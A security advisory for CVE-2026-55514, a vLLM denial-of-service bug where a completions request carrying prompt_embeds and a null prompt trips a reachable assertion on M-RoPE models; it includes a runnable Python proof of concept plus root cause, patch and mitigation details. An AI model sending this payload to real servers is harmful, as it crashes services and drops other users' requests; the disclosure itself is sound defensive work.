CVE-2026-55514: vLLM Denial of Service via Prompt Embeds on M-RoPE Models
Sending a pre-computed embedding payload to vLLM's completions endpoint crashes the entire server when an M-RoPE model is loaded, because a type-narrowing assertion always fails for embedding-only inp
The problem
vLLM's `GPUModelRunner._init_mrope_positions` method contains a bare `assert req_state.prompt_token_ids is not None` added in commit 56669c1 to satisfy the type checker. This assertion is reachable by any authorized API caller.
A `/v1/completions` request that sets `prompt=null` and supplies `prompt_embeds` legally creates a `CachedRequestState` where `prompt_token_ids` is `None`. When an M-RoPE model (Qwen2-VL, Qwen3-VL, and similar) processes that state, the assertion fires, the EngineCore subprocess dies with `AssertionError`, and the API server follows with `EngineDeadError`.
The process does not recover. Every in-flight request is dropped and the server must be restarted manually.
Proof of concept
A working proof-of-concept for CVE-2026-55514 in vllm, with the exact payload below.
import base64
import io
import requests
import torch
import transformers
# Requires: vllm serve <mrope-model> --enable-prompt-embeds
# e.g. vllm serve Qwen/Qwen2-VL-7B-Instruct --enable-prompt-embeds
MODEL = "Qwen/Qwen2-VL-7B-Instruct"
HIDDEN_SIZE = 3584 # Qwen2-VL-7B hidden dim; adjust per model
SEQ_LEN = 8 # any non-zero length works
# Build a minimal random float16 tensor of shape (SEQ_LEN, HIDDEN_SIZE)
fake_embeds = torch.zeros(SEQ_LEN, HIDDEN_SIZE, dtype=torch.float16)
# Serialize with torch.save (required format for vLLM prompt_embeds)
buf = io.BytesIO()
torch.save(fake_embeds, buf)
buf.seek(0)
encoded = base64.b64encode(buf.read()).decode()
# Send to a running vLLM server with an M-RoPE model
resp = requests.post(
"http://localhost:8000/v1/completions",
json={
"model": MODEL,
"prompt": None, # <-- key: no token ids
"prompt_embeds": encoded, # <-- triggers the assertion
"max_tokens": 1,
},
)
print(resp.status_code, resp.text)
# Server EngineCore crashes; subsequent requests return 500 EngineDeadErrorThe root cause is CWE-617 (Reachable Assertion). The offending line `assert req_state.prompt_token_ids is not None` was intended only to narrow types for the mypy checker, not as a runtime guard. It assumes token IDs are always present, but the `/v1/completions` schema permits `prompt=null` with `prompt_embeds` set, which produces a valid `CachedRequestState` where `prompt_token_ids` is `None`.
The patch (commit 470229c, PR #45252) removes the fatal assert and replaces it with a conditional branch: if `prompt_token_ids` is present, use it; if only `prompt_embeds` is present, derive a synthetic list of dummy integer token IDs whose length matches the embedding sequence length.
Because `get_mrope_input_positions` only needs `len(input_tokens)` when no multimodal features are present (the pure text-embed case), the dummy IDs are functionally correct and safe.
The fix
Upgrade to vllm >= 0.24.0. The fix is in commit 470229c37efaf69c86e8bc97482b0b1ff7551c65 (PR #45252). If you cannot upgrade immediately, avoid deploying M-RoPE models (Qwen2-VL, Qwen3-VL, etc.) with the `--enable-prompt-embeds` flag enabled at the same time, as that combination is the only path to this crash in online serving.
Reported by jperezdealgaba.
Related research
- high · 7.5CVE-2026-54234CVE-2026-54234: vLLM Remote DoS via Invalid Recovered Token Reinjection in Speculative Decoding
- highCVE-2026-54058CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride
- high · 8.2CVE-2026-59197CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter
- high · 7.5CVE-2026-59199CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow